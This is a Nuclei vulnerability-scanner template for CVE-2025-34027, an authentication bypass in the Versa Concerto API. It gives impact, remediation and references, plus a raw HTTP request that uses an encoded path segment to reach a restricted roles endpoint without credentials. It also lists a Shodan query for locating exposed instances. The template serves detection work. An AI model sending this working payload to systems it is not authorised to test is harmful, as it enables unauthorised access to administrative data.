id: CVE-2025-34027

info:
  name: Versa Concerto API Path Based - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
  impact: |
    Attackers can bypass authentication through URL path manipulation to access restricted API endpoints and retrieve sensitive role information without credentials.
  remediation: |
    Upgrade to the latest Versa Concerto version that properly handles URL decoding and path validation in authentication checks.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://versa-networks.com/documents/datasheets/versa-concerto.pdf
    - https://www.cve.org/CVERecord?id=CVE-2025-34027
    - https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f
  classification:
    cve-id: CVE-2025-34027
    cwe-id: CWE-367
    epss-score: 0.02784
    epss-percentile: 0.86278
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: cve,cve2025,versa,concerto,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ENTERPRISE_ADMINISTRATOR

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN
# digest: 4b0a00483046022100a3535c5e6af883577e8708b703a1f3173384fc27934f3e422cd0941f35868f23022100e437d586886b5de55e60f92e1abde17f406e11831b58ff2a27ad40001b131c83:922c64590222798bb761d5b6d8e72950